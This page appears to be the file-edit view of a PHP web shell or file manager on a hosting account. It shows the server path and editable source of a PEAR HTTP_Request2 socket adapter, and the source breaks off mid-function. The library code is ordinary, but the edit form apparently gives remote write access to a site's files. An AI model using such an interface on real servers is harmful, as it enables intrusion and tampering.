<h2>File Contents: /home/planet5/public_html/4xpips.net/secure/library/pear/HTTP/Request2/Adapter/copy_of_Socket.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/4xpips.net/secure/library/pear/HTTP/Request2/Adapter/copy_of_Socket.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Socket-based adapter for HTTP_Request2
 *
 * PHP version 5
 *
 * LICENSE:
 *
 * Copyright (c) 2008-2011, Alexey Borzov &lt;avb@php.net&gt;
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *    * Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *    * Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *    * The names of the authors may not be used to endorse or promote products
 *      derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS
 * IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category   HTTP
 * @package    HTTP_Request2
 * @author     Alexey Borzov &lt;avb@php.net&gt;
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    SVN: $Id: Socket.php 309921 2011-04-03 16:43:02Z avb $
 * @link       http://pear.php.net/package/HTTP_Request2
 */

/**
 * Base class for HTTP_Request2 adapters
 */
require_once &#039;HTTP/Request2/Adapter.php&#039;;

/**
 * Socket-based adapter for HTTP_Request2
 *
 * This adapter uses only PHP sockets and will work on almost any PHP
 * environment. Code is based on original HTTP_Request PEAR package.
 *
 * @category    HTTP
 * @package     HTTP_Request2
 * @author      Alexey Borzov &lt;avb@php.net&gt;
 * @version     Release: 2.0.0
 */
class HTTP_Request2_Adapter_Socket extends HTTP_Request2_Adapter
{
   /**
    * Regular expression for &#039;token&#039; rule from RFC 2616
    */
    const REGEXP_TOKEN = &#039;[^\x00-\x1f\x7f-\xff()&lt;&gt;@,;:\\\\&quot;/\[\]?={}\s]+&#039;;

   /**
    * Regular expression for &#039;quoted-string&#039; rule from RFC 2616
    */
    const REGEXP_QUOTED_STRING = &#039;&quot;(?:\\\\.|[^\\\\&quot;])*&quot;&#039;;

   /**
    * Connected sockets, needed for Keep-Alive support
    * @var  array
    * @see  connect()
    */
    protected static $sockets = array();

   /**
    * Data for digest authentication scheme
    *
    * The keys for the array are URL prefixes.
    *
    * The values are associative arrays with data (realm, nonce, nonce-count,
    * opaque...) needed for digest authentication. Stored here to prevent making
    * duplicate requests to digest-protected resources after we have already
    * received the challenge.
    *
    * @var  array
    */
    protected static $challenges = array();

   /**
    * Connected socket
    * @var  resource
    * @see  connect()
    */
    protected $socket;

   /**
    * Challenge used for server digest authentication
    * @var  array
    */
    protected $serverChallenge;

   /**
    * Challenge used for proxy digest authentication
    * @var  array
    */
    protected $proxyChallenge;

   /**
    * Sum of start time and global timeout, exception will be thrown if request continues past this time
    * @var  integer
    */
    protected $deadline = null;

   /**
    * Remaining length of the current chunk, when reading chunked response
    * @var  integer
    * @see  readChunked()
    */
    protected $chunkLength = 0;

   /**
    * Remaining amount of redirections to follow
    *
    * Starts at &#039;max_redirects&#039; configuration parameter and is reduced on each
    * subsequent redirect. An Exception will be thrown once it reaches zero.
    *
    * @var  integer
    */
    protected $redirectCountdown = null;

   /**
    * Sends request to the remote server and returns its response
    *
    * @param    HTTP_Request2
    * @return   HTTP_Request2_Response
    * @throws   HTTP_Request2_Exception
    */
    public function sendRequest(HTTP_Request2 $request)
    {
        $this-&gt;request = $request;

        // Use global request timeout if given, see feature requests #5735, #8964
        if ($timeout = $request-&gt;getConfig(&#039;timeout&#039;)) {
            $this-&gt;deadline = time() + $timeout;
        } else {
            $this-&gt;deadline = null;
        }

        try {
            $keepAlive = $this-&gt;connect();
            $headers   = $this-&gt;prepareHeaders();
            if (false === @fwrite($this-&gt;socket, $headers, strlen($headers))) {
                throw new HTTP_Request2_MessageException(&#039;Error writing request&#039;);
            }
            // provide request headers to the observer, see request #7633
            $this-&gt;request-&gt;setLastEvent(&#039;sentHeaders&#039;, $headers);
            $this-&gt;writeBody();

            if ($this-&gt;deadline &amp;&amp; time() &gt; $this-&gt;deadline) {
                throw new HTTP_Request2_MessageException(
                    &#039;Request timed out after &#039; .
                    $request-&gt;getConfig(&#039;timeout&#039;) . &#039; second(s)&#039;,
                    HTTP_Request2_Exception::TIMEOUT
                );
            }

            $response = $this-&gt;readResponse();

            if ($jar = $request-&gt;getCookieJar()) {
                $jar-&gt;addCookiesFromResponse($response, $request-&gt;getUrl());
            }

            if (!$this-&gt;canKeepAlive($keepAlive, $response)) {
                $this-&gt;disconnect();
            }

            if ($this-&gt;shouldUseProxyDigestAuth($response)) {
                return $this-&gt;sendRequest($request);
            }
            if ($this-&gt;shouldUseServerDigestAuth($response)) {
                return $this-&gt;sendRequest($request);
            }
            if ($authInfo = $response-&gt;getHeader(&#039;authentication-info&#039;)) {
                $this-&gt;updateChallenge($this-&gt;serverChallenge, $authInfo);
            }
            if ($proxyInfo = $response-&gt;getHeader(&#039;proxy-authentication-info&#039;)) {
                $this-&gt;updateChallenge($this-&gt;proxyChallenge, $proxyInfo);
            }

        } catch (Exception $e) {
            $this-&gt;disconnect();
        }

        unset($this-&gt;request, $this-&gt;requestBody);

        if (!empty($e)) {
            $this-&gt;redirectCountdown = null;
            throw $e;
        }

        if (!$request-&gt;getConfig(&#039;follow_redirects&#039;) || !$response-&gt;isRedirect()) {
            $this-&gt;redirectCountdown = null;
            return $response;
        } else {
            return $this-&gt;handleRedirect($request, $response);
        }
    }

   /**
    * Connects to the remote server
    *
    * @return   bool    whether the connection can be persistent
    * @throws   HTTP_Request2_Exception
    */
    protected function connect()
    {
        $secure  = 0 == strcasecmp($this-&gt;request-&gt;getUrl()-&gt;getScheme(), &#039;https&#039;);
        $tunnel  = HTTP_Request2::METHOD_CONNECT == $this-&gt;request-&gt;getMethod();
        $headers = $this-&gt;request-&gt;getHeaders();
        $reqHost = $this-&gt;request-&gt;getUrl()-&gt;getHost();
        if (!($reqPort = $this-&gt;request-&gt;getUrl()-&gt;getPort())) {
            $reqPort = $secure? 443: 80;
        }

        if ($host = $this-&gt;request-&gt;getConfig(&#039;proxy_host&#039;)) {
            if (!($port = $this-&gt;request-&gt;getConfig(&#039;proxy_port&#039;))) {
                throw new HTTP_Request2_LogicException(
                    &#039;Proxy port not provided&#039;,
                    HTTP_Request2_Exception::MISSING_VALUE
                );
            }
            $proxy = true;
        } else {
            $host  = $reqHost;
            $port  = $reqPort;
            $proxy = false;
        }

        if ($tunnel &amp;&amp; !$proxy) {
            throw new HTTP_Request2_LogicException(
                &quot;Trying to perform CONNECT request without proxy&quot;,
                HTTP_Request2_Exception::MISSING_VALUE
            );
        }
        if ($secure &amp;&amp; !in_array(&#039;ssl&#039;, stream_get_transports())) {
            throw new HTTP_Request2_LogicException(
                &#039;Need OpenSSL support for https:// requests&#039;,
                HTTP_Request2_Exception::MISCONFIGURATION
            );
        }

        // RFC 2068, section 19.7.1: A client MUST NOT send the Keep-Alive
        // connection token to a proxy server...
        if ($proxy &amp;&amp; !$secure &amp;&amp;
            !empty($headers[&#039;connection&#039;]) &amp;&amp; &#039;Keep-Alive&#039; == $headers[&#039;connection&#039;]
        ) {
            $this-&gt;request-&gt;setHeader(&#039;connection&#039;);
        }

        $keepAlive = (&#039;1.1&#039; == $this-&gt;request-&gt;getConfig(&#039;protocol_version&#039;) &amp;&amp;
                      empty($headers[&#039;connection&#039;])) ||
                     (!empty($headers[&#039;connection&#039;]) &amp;&amp;
                      &#039;Keep-Alive&#039; == $headers[&#039;connection&#039;]);
        $host = ((!$secure || $proxy)? &#039;tcp://&#039;: &#039;ssl://&#039;) . $host;

        $options = array();
        if ($secure || $tunnel) {
            foreach ($this-&gt;request-&gt;getConfig() as $name =&gt; $value) {
                if (&#039;ssl_&#039; == substr($name, 0, 4) &amp;&amp; null !== $value) {
                    if (&#039;ssl_verify_host&#039; == $name) {
                        if ($value) {
                            $options[&#039;CN_match&#039;] = $reqHost;
                        }
                    } else {
                        $options[substr($name, 4)] = $value;
                    }
                }
            }
            ksort($options);
        }

        // Changing SSL context options after connection is established does *not*
        // work, we need a new connection if options change
        $remote    = $host . &#039;:&#039; . $port;
        $socketKey = $remote . (($secure &amp;&amp; $proxy)? &quot;-&gt;{$reqHost}:{$reqPort}&quot;: &#039;&#039;) .
                     (empty($options)? &#039;&#039;: &#039;:&#039; . serialize($options));
        unset($this-&gt;socket);

        // We use persistent connections and have a connected socket?
        // Ensure that the socket is still connected, see bug #16149
        if ($keepAlive &amp;&amp; !empty(self::$sockets[$socketKey]) &amp;&amp;
            !feof(self::$sockets[$socketKey])
        ) {
            $this-&gt;socket =&amp; self::$sockets[$socketKey];

        } elseif ($secure &amp;&amp; $proxy &amp;&amp; !$tunnel) {
            $this-&gt;establishTunnel();
            $this-&gt;request-&gt;setLastEvent(
                &#039;connect&#039;, &quot;ssl://{$reqHost}:{$reqPort} via {$host}:{$port}&quot;
            );
            self::$sockets[$socketKey] =&amp; $this-&gt;socket;

        } else {
            // Set SSL context options if doing HTTPS request or creating a tunnel
            $context = stream_context_create();
            foreach ($options as $name =&gt; $value) {
                if (!stream_context_set_option($context, &#039;ssl&#039;, $name, $value)) {
                    throw new HTTP_Request2_LogicException(
                        &quot;Error setting SSL context option &#039;{$name}&#039;&quot;
                    );
                }
            }
            $track = @ini_set(&#039;track_errors&#039;, 1);
            $this-&gt;socket = @stream_socket_client(
                $remote, $errno, $errstr,
                $this-&gt;request-&gt;getConfig(&#039;connect_timeout&#039;),
                STREAM_CLIENT_CONNECT, $context
            );
            if (!$this-&gt;socket) {
                $e = new HTTP_Request2_ConnectionException(
                    &quot;Unable to connect to {$remote}. Error: &quot;
                     . (empty($errstr)? $php_errormsg: $errstr), 0, $errno
                );
            }
            @ini_set(&#039;track_errors&#039;, $track);
            if (isset($e)) {
                throw $e;
            }
            $this-&gt;request-&gt;setLastEvent(&#039;connect&#039;, $remote);
            self::$sockets[$socketKey] =&amp; $this-&gt;socket;
        }
        return $keepAlive;
    }

   /**
    * Establishes a tunnel to a secure remote server via HTTP CONNECT request
    *
    * This method will fail if &#039;ssl_verify_peer&#039; is enabled. Probably because PHP
    * sees that we are connected to a proxy server (duh!) rather than the server
    * that presents its certificate.
    *
    * @link     http://tools.ietf.org/html/rfc2817#section-5.2
    * @throws   HTTP_Request2_Exception
    */
    protected function establishTunnel()
    {
        $donor   = new self;
        $connect = new HTTP_Request2(
            $this-&gt;request-&gt;getUrl(), HTTP_Request2::METHOD_CONNECT,
            array_merge($this-&gt;request-&gt;getConfig(),
                        array(&#039;adapter&#039; =&gt; $donor))
        );
        $response = $connect-&gt;send();
        // Need any successful (2XX) response
        if (200 &gt; $response-&gt;getStatus() || 300 &lt;= $response-&gt;getStatus()) {
            throw new HTTP_Request2_ConnectionException(
                &#039;Failed to connect via HTTPS proxy. Proxy response: &#039; .
                $response-&gt;getStatus() . &#039; &#039; . $response-&gt;getReasonPhrase()
            );
        }
        $this-&gt;socket = $donor-&gt;socket;

        $modes = array(
            STREAM_CRYPTO_METHOD_TLS_CLIENT,
            STREAM_CRYPTO_METHOD_SSLv3_CLIENT,
            STREAM_CRYPTO_METHOD_SSLv23_CLIENT,
            STREAM_CRYPTO_METHOD_SSLv2_CLIENT
        );

        foreach ($modes as $mode) {
            if (stream_socket_enable_crypto($this-&gt;socket, true, $mode)) {
                return;
            }
        }
        throw new HTTP_Request2_ConnectionException(
            &#039;Failed to enable secure connection when connecting through proxy&#039;
        );
    }

   /**
    * Checks whether current connection may be reused or should be closed
    *
    * @param    boolean                 whether connection could be persistent
    *                                   in the first place
    * @param    HTTP_Request2_Response  response object to check
    * @return   boolean
    */
    protected function canKeepAlive($requestKeepAlive, HTTP_Request2_Response $response)
    {
        // Do not close socket on successful CONNECT request
        if (HTTP_Request2::METHOD_CONNECT == $this-&gt;request-&gt;getMethod() &amp;&amp;
            200 &lt;= $response-&gt;getStatus() &amp;&amp; 300 &gt; $response-&gt;getStatus()
        ) {
            return true;
        }

        $lengthKnown = &#039;chunked&#039; == strtolower($response-&gt;getHeader(&#039;transfer-encoding&#039;))
                       || null !== $response-&gt;getHeader(&#039;content-length&#039;)
                       // no body possible for such responses, see also request #17031
                       || HTTP_Request2::METHOD_HEAD == $this-&gt;request-&gt;getMethod()
                       || in_array($response-&gt;getStatus(), array(204, 304));
        $persistent  = &#039;keep-alive&#039; == strtolower($response-&gt;getHeader(&#039;connection&#039;)) ||
                       (null === $response-&gt;getHeader(&#039;connection&#039;) &amp;&amp;
                        &#039;1.1&#039; == $response-&gt;getVersion());
        return $requestKeepAlive &amp;&amp; $lengthKnown &amp;&amp; $persistent;
    }

   /**
    * Disconnects from the remote server
    */
    protected function disconnect()
    {
        if (is_resource($this-&gt;socket)) {
            fclose($this-&gt;socket);
            $this-&gt;socket = null;
            $this-&gt;request-&gt;setLastEvent(&#039;disconnect&#039;);
        }
    }

   /**
    * Handles HTTP redirection
    *
    * This method will throw an Exception if redirect to a non-HTTP(S) location
    * is attempted, also if number of redirects performed already is equal to
    * &#039;max_redirects&#039; configuration parameter.
    *
    * @param    HTTP_Request2               Original request
    * @param    HTTP_Request2_Response      Response containing redirect
    * @return   HTTP_Request2_Response      Response from a new location
    * @throws   HTTP_Request2_Exception
    */
    protected function handleRedirect(HTTP_Request2 $request,
                                      HTTP_Request2_Response $response)
    {
        if (is_null($this-&gt;redirectCountdown)) {
            $this-&gt;redirectCountdown = $request-&gt;getConfig(&#039;max_redirects&#039;);
        }
        if (0 == $this-&gt;redirectCountdown) {
            $this-&gt;redirectCountdown = null;
            // Copying cURL behaviour
            throw new HTTP_Request2_MessageException (
                &#039;Maximum (&#039; . $request-&gt;getConfig(&#039;max_redirects&#039;) . &#039;) redirects followed&#039;,
                HTTP_Request2_Exception::TOO_MANY_REDIRECTS
            );
        }
        $redirectUrl = new Net_URL2(
            $response-&gt;getHeader(&#039;location&#039;),
            array(Net_URL2::OPTION_USE_BRACKETS =&gt; $request-&gt;getConfig(&#039;use_brackets&#039;))
        );
        // refuse non-HTTP redirect
        if ($redirectUrl-&gt;isAbsolute()
            &amp;&amp; !in_array($redirectUrl-&gt;getScheme(), array(&#039;http&#039;, &#039;https&#039;))
        ) {
            $this-&gt;redirectCountdown = null;
            throw new HTTP_Request2_MessageException(
                &#039;Refusing to redirect to a non-HTTP URL &#039; . $redirectUrl-&gt;__toString(),
                HTTP_Request2_Exception::NON_HTTP_REDIRECT
            );
        }
        // Theoretically URL should be absolute (see http://tools.ietf.org/html/rfc2616#section-14.30),
        // but in practice it is often not
        if (!$redirectUrl-&gt;isAbsolute()) {
            $redirectUrl = $request-&gt;getUrl()-&gt;resolve($redirectUrl);
        }
        $redirect = clone $request;
        $redirect-&gt;setUrl($redirectUrl);
        if (303 == $response-&gt;getStatus() || (!$request-&gt;getConfig(&#039;strict_redirects&#039;)
             &amp;&amp; in_array($response-&gt;getStatus(), array(301, 302)))
        ) {
            $redirect-&gt;setMethod(HTTP_Request2::METHOD_GET);
            $redirect-&gt;setBody(&#039;&#039;);
        }

        if (0 &lt; $this-&gt;redirectCountdown) {
            $this-&gt;redirectCountdown--;
        }
        return $this-&gt;sendRequest($redirect);
    }

   /**
    * Checks whether another request should be performed with server digest auth
    *
    * Several conditions should be satisfied for it to return true:
    *   - response status should be 401
    *   - auth credentials should be set in the request object
    *   - response should contain WWW-Authenticate header with digest challenge
    *   - there is either no challenge stored for this URL or new challenge
    *     contains stale=true parameter (in other case we probably just failed
    *     due to invalid username / password)
    *
    * The method stores challenge values in $challenges static property
    *
    * @param    HTTP_Request2_Response  response to check
    * @return   boolean whether another request should be performed
    * @throws   HTTP_Request2_Exception in case of unsupported challenge parameters
    */
    protected function shouldUseServerDigestAuth(HTTP_Request2_Response $response)
    {
        // no sense repeating a request if we don&#039;t have credentials
        if (401 != $response-&gt;getStatus() || !$this-&gt;request-&gt;getAuth()) {
            return false;
        }
        if (!$challenge = $this-&gt;parseDigestChallenge($response-&gt;getHeader(&#039;www-authenticate&#039;))) {
            return false;
        }

        $url    = $this-&gt;request-&gt;getUrl();
        $scheme = $url-&gt;getScheme();
        $host   = $scheme . &#039;://&#039; . $url-&gt;getHost();
        if ($port = $url-&gt;getPort()) {
            if ((0 == strcasecmp($scheme, &#039;http&#039;) &amp;&amp; 80 != $port) ||
                (0 == strcasecmp($scheme, &#039;https&#039;) &amp;&amp; 443 != $port)
            ) {
                $host .= &#039;:&#039; . $port;
            }
        }

        if (!empty($challenge[&#039;domain&#039;])) {
            $prefixes = array();
            foreach (preg_split(&#039;/\\s+/&#039;, $challenge[&#039;domain&#039;]) as $prefix) {
                // don&#039;t bother with different servers
                if (&#039;/&#039; == substr($prefix, 0, 1)) {
                    $prefixes[] = $host . $prefix;
                }
            }
        }
        if (empty($prefixes)) {
            $prefixes = array($host . &#039;/&#039;);
        }

        $ret = true;
        foreach ($prefixes as $prefix) {
            if (!empty(self::$challenges[$prefix]) &amp;&amp;
                (empty($challenge[&#039;stale&#039;]) || strcasecmp(&#039;true&#039;, $challenge[&#039;stale&#039;]))
            ) {
                // probably credentials are invalid
                $ret = false;
            }
            self::$challenges[$prefix] =&amp; $challenge;
        }
        return $ret;
    }

   /**
    * Checks whether another request should be performed with proxy digest auth
    *
    * Several conditions should be satisfied for it to return true:
    *   - response status should be 407
    *   - proxy auth credentials should be set in the request object
    *   - response should contain Proxy-Authenticate header with digest challenge
    *   - there is either no challenge stored for this proxy or new challenge
    *     contains stale=true parameter (in other case we probably just failed
    *     due to invalid username / password)
    *
    * The method stores challenge values in $challenges static property
    *
    * @param    HTTP_Request2_Response  response to check
    * @return   boolean whether another request should be performed
    * @throws   HTTP_Request2_Exception in case of unsupported challenge parameters
    */
    protected function shouldUseProxyDigestAuth(HTTP_Request2_Response $response)
    {
        if (407 != $response-&gt;getStatus() || !$this-&gt;request-&gt;getConfig(&#039;proxy_user&#039;)) {
            return false;
        }
        if (!($challenge = $this-&gt;parseDigestChallenge($response-&gt;getHeader(&#039;proxy-authenticate&#039;)))) {
            return false;
        }

        $key = &#039;proxy://&#039; . $this-&gt;request-&gt;getConfig(&#039;proxy_host&#039;) .
               &#039;:&#039; . $this-&gt;request-&gt;getConfig(&#039;proxy_port&#039;);

        if (!empty(self::$challenges[$key]) &amp;&amp;
            (empty($challenge[&#039;stale&#039;]) || strcasecmp(&#039;true&#039;, $challenge[&#039;stale&#039;]))
        ) {
            $ret = false;
        } else {
            $ret = true;
        }
        self::$challenges[$key] = $challenge;
        return $ret;
    }

   /**
    * Extracts digest method challenge from (WWW|Proxy)-Authenticate header value
    *
    * There is a problem with implementation of RFC 2617: several of the parameters
    * are defined as quoted-string there and thus may contain backslash escaped
    * double quotes (RFC 2616, section 2.2). However, RFC 2617 defines unq(X) as
    * just value of quoted-string X without surrounding quotes, it doesn&#039;t speak
    * about removing backslash escaping.
    *
    * Now realm parameter is user-defined and human-readable, strange things
    * happen when it contains quotes:
    *   - Apache allows quotes in realm, but apparently uses realm value without
    *     backslashes for digest computation
    *   - Squid allows (manually escaped) quotes there, but it is impossible to
    *     authorize with either escaped or unescaped quotes used in digest,
    *     probably it can&#039;t parse the response (?)
    *   - Both IE and Firefox display realm value with backslashes in
    *     the password popup and apparently use the same value for digest
    *
    * HTTP_Request2 follows IE and Firefox (and hopefully RFC 2617) in
    * quoted-string handling, unfortunately that means failure to authorize
    * sometimes
    *
    * @param    string  value of WWW-Authenticate or Proxy-Authenticate header
    * @return   mixed   associative array with challenge parameters, false if
    *                   no challenge is present in header value
    * @throws   HTTP_Request2_NotImplementedException in case of unsupported challenge parameters
    */
    protected function parseDigestChallenge($headerValue)
    {
        $authParam   = &#039;(&#039; . self::REGEXP_TOKEN . &#039;)\\s*=\\s*(&#039; .
                       self::REGEXP_TOKEN . &#039;|&#039; . self::REGEXP_QUOTED_STRING . &#039;)&#039;;
        $challenge   = &quot;!(?&lt;=^|\\s|,)Digest ({$authParam}\\s*(,\\s*|$))+!&quot;;
        if (!preg_match($challenge, $headerValue, $matches)) {
            return false;
        }

        preg_match_all(&#039;!&#039; . $authParam . &#039;!&#039;, $matches[0], $params);
        $paramsAry   = array();
        $knownParams = array(&#039;realm&#039;, &#039;domain&#039;, &#039;nonce&#039;, &#039;opaque&#039;, &#039;stale&#039;,
                             &#039;algorithm&#039;, &#039;qop&#039;);
        for ($i = 0; $i &lt; count($params[0]); $i++) {
            // section 3.2.1: Any unrecognized directive MUST be ignored.
            if (in_array($params[1][$i], $knownParams)) {
                if (&#039;&quot;&#039; == substr($params[2][$i], 0, 1)) {
                    $paramsAry[$params[1][$i]] = substr($params[2][$i], 1, -1);
                } else {
                    $paramsAry[$params[1][$i]] = $params[2][$i];
                }
            }
        }
        // we only support qop=auth
        if (!empty($paramsAry[&#039;qop&#039;]) &amp;&amp;
            !in_array(&#039;auth&#039;, array_map(&#039;trim&#039;, explode(&#039;,&#039;, $paramsAry[&#039;qop&#039;])))
        ) {
            throw new HTTP_Request2_NotImplementedException(
                &quot;Only &#039;auth&#039; qop is currently supported in digest authentication, &quot; .
                &quot;server requested &#039;{$paramsAry[&#039;qop&#039;]}&#039;&quot;
            );
        }
        // we only support algorithm=MD5
        if (!empty($paramsAry[&#039;algorithm&#039;]) &amp;&amp; &#039;MD5&#039; != $paramsAry[&#039;algorithm&#039;]) {
            throw new HTTP_Request2_NotImplementedException(
                &quot;Only &#039;MD5&#039; algorithm is currently supported in digest authentication, &quot; .
                &quot;server requested &#039;{$paramsAry[&#039;algorithm&#039;]}&#039;&quot;
            );
        }

        return $paramsAry;
    }

   /**
    * Parses [Proxy-]Authentication-Info header value and updates challenge
    *
    * @param    array   challenge to update
    * @param    string  value of [Proxy-]Authentication-Info header
    * @todo     validate server rspauth response
    */
    protected function updateChallenge(&amp;$challenge, $headerValue)
    {
        $authParam   = &#039;!(&#039; . self::REGEXP_TOKEN . &#039;)\\s*=\\s*(&#039; .
                       self::REGEXP_TOKEN . &#039;|&#039; . self::REGEXP_QUOTED_STRING . &#039;)!&#039;;
        $paramsAry   = array();

        preg_match_all($authParam, $headerValue, $params);
        for ($i = 0; $i &lt; count($params[0]); $i++) {
            if (&#039;&quot;&#039; == substr($params[2][$i], 0, 1)) {
                $paramsAry[$params[1][$i]] = substr($params[2][$i], 1, -1);
            } else {
                $paramsAry[$params[1][$i]] = $params[2][$i];
            }
        }
        // for now, just update the nonce value
        if (!empty($paramsAry[&#039;nextnonce&#039;])) {
            $challenge[&#039;nonce&#039;] = $paramsAry[&#039;nextnonce&#039;];
            $challenge[&#039;nc&#039;]    = 1;
        }
    }

   /**
    * Creates a value for [Proxy-]Authorization header when using digest authentication
    *
    * @param    string  user name
    * @param    string  password
    * @param    string  request URL
    * @param    array   digest challenge parameters
    * @return   string  value of [Proxy-]Authorization request header
    * @link     http://tools.ietf.org/html/rfc2617#section-3.2.2
    */
    protected function createDigestResponse($user, $password, $url, &amp;$challenge)
    {
        if (false !== ($q = strpos($url, &#039;?&#039;)) &amp;&amp;
            $this-&gt;request-&gt;getConfig(&#039;digest_compat_ie&#039;)
        ) {
            $url = substr($url, 0, $q);
        }

        $a1 = md5($user . &#039;:&#039; . $challenge[&#039;realm&#039;] . &#039;:&#039; . $password);
        $a2 = md5($this-&gt;request-&gt;getMethod() . &#039;:&#039; . $url);

        if (empty($challenge[&#039;qop&#039;])) {
            $digest = md5($a1 . &#039;:&#039; . $challenge[&#039;nonce&#039;] . &#039;:&#039; . $a2);
        } else {
            $challenge[&#039;cnonce&#039;] = &#039;Req2.&#039; . rand();
            if (empty($challenge[&#039;nc&#039;])) {
                $challenge[&#039;nc&#039;] = 1;
            }
            $nc     = sprintf(&#039;%08x&#039;, $challenge[&#039;nc&#039;]++);
            $digest = md5($a1 . &#039;:&#039; . $challenge[&#039;nonce&#039;] . &#039;:&#039; . $nc . &#039;:&#039; .
                          $challenge[&#039;cnonce&#039;] . &#039;:auth:&#039; . $a2);
        }
        return &#039;Digest username=&quot;&#039; . str_replace(array(&#039;\\&#039;, &#039;&quot;&#039;), array(&#039;\\\\&#039;, &#039;\\&quot;&#039;), $user) . &#039;&quot;, &#039; .
               &#039;realm=&quot;&#039; . $challenge[&#039;realm&#039;] . &#039;&quot;, &#039; .
               &#039;nonce=&quot;&#039; . $challenge[&#039;nonce&#039;] . &#039;&quot;, &#039; .
               &#039;uri=&quot;&#039; . $url . &#039;&quot;, &#039; .
               &#039;response=&quot;&#039; . $digest . &#039;&quot;&#039; .
               (!empty($challenge[&#039;opaque&#039;])?
                &#039;, opaque=&quot;&#039; . $challenge[&#039;opaque&#039;] . &#039;&quot;&#039;:
                &#039;&#039;) .
               (!empty($challenge[&#039;qop&#039;])?
                &#039;, qop=&quot;auth&quot;, nc=&#039; . $nc . &#039;, cnonce=&quot;&#039; . $challenge[&#039;cnonce&#039;] . &#039;&quot;&#039;:
                &#039;&#039;);
    }

   /**
    * Adds &#039;Authorization&#039; header (if needed) to request headers array
    *
    * @param    array   request headers
    * @param    string  request host (needed for digest authentication)
    * @param    string  request URL (needed for digest authentication)
    * @throws   HTTP_Request2_NotImplementedException
    */
    protected function addAuthorizationHeader(&amp;$headers, $requestHost, $requestUrl)
    {
        if (!($auth = $this-&gt;request-&gt;getAuth())) {
            return;
        }
        switch ($auth[&#039;scheme&#039;]) {
            case HTTP_Request2::AUTH_BASIC:
                $headers[&#039;authorization&#039;] =
                    &#039;Basic &#039; . base64_encode($auth[&#039;user&#039;] . &#039;:&#039; . $auth[&#039;password&#039;]);
                break;

            case HTTP_Request2::AUTH_DIGEST:
                unset($this-&gt;serverChallenge);
                $fullUrl = (&#039;/&#039; == $requestUrl[0])?
                           $this-&gt;request-&gt;getUrl()-&gt;getScheme() . &#039;://&#039; .
                            $requestHost . $requestUrl:
                           $requestUrl;
                foreach (array_keys(self::$challenges) as $key) {
                    if ($key == substr($fullUrl, 0, strlen($key))) {
                        $headers[&#039;authorization&#039;] = $this-&gt;createDigestResponse(
                            $auth[&#039;user&#039;], $auth[&#039;password&#039;],
                            $requestUrl, self::$challenges[$key]
                        );
                        $this-&gt;serverChallenge =&amp; self::$challenges[$key];
                        break;
                    }
                }
                break;

            default:
                throw new HTTP_Request2_NotImplementedException(
                    &quot;Unknown HTTP authentication scheme &#039;{$auth[&#039;scheme&#039;]}&#039;&quot;
                );
        }
    }

   /**
    * Adds &#039;Proxy-Authorization&#039; header (if needed) to request headers array
    *
    * @param    array   request headers
    * @param    string  request URL (needed for digest authentication)
    * @throws   HTTP_Request2_NotImplementedException
    */
    protected function addProxyAuthorizationHeader(&amp;$headers, $requestUrl)
    {
        if (!$this-&gt;request-&gt;getConfig(&#039;proxy_host&#039;) ||
            !($user = $this-&gt;request-&gt;getConfig(&#039;proxy_user&#039;)) ||
            (0 == strcasecmp(&#039;https&#039;, $this-&gt;request-&gt;getUrl()-&gt;getScheme()) &amp;&amp;
             HTTP_Request2::METHOD_CONNECT != $this-&gt;request-&gt;getMethod())
        ) {
            return;
        }

        $password = $this-&gt;request-&gt;getConfig(&#039;proxy_password&#039;);
        switch ($this-&gt;request-&gt;getConfig(&#039;proxy_auth_scheme&#039;)) {
            case HTTP_Request2::AUTH_BASIC:
                $headers[&#039;proxy-authorization&#039;] =
                    &#039;Basic &#039; . base64_encode($user . &#039;:&#039; . $password);
                break;

            case HTTP_Request2::AUTH_DIGEST:
                unset($this-&gt;proxyChallenge);
                $proxyUrl = &#039;proxy://&#039; . $this-&gt;request-&gt;getConfig(&#039;proxy_host&#039;) .
                            &#039;:&#039; . $this-&gt;request-&gt;getConfig(&#039;proxy_port&#039;);
                if (!empty(self::$challenges[$proxyUrl])) {
                    $headers[&#039;proxy-authorization&#039;] = $this-&gt;createDigestResponse(
                        $user, $password,
                        $requestUrl, self::$challenges[$proxyUrl]
                    );
                    $this-&gt;proxyChallenge =&amp; self::$challenges[$proxyUrl];
                }
                break;

            default:
                throw new HTTP_Request2_NotImplementedException(
                    &quot;Unknown HTTP authentication scheme &#039;&quot; .
                    $this-&gt;request-&gt;getConfig(&#039;proxy_auth_scheme&#039;) . &quot;&#039;&quot;
                );
        }
    }


   /**
    * Creates the string with the Request-Line and request headers
    *
    * @return   string
    * @throws   HTTP_Request2_Exception
    */
    protected function prepareHeaders()
    {
        $headers = $this-&gt;request-&gt;getHeaders();
        $url     = $this-&gt;request-&gt;getUrl();
        $connect = HTTP_Request2::METHOD_CONNECT == $this-&gt;request-&gt;getMethod();
        $host    = $url-&gt;getHost();

        $defaultPort = 0 == strcasecmp($url-&gt;getScheme(), &#039;https&#039;)? 443: 80;
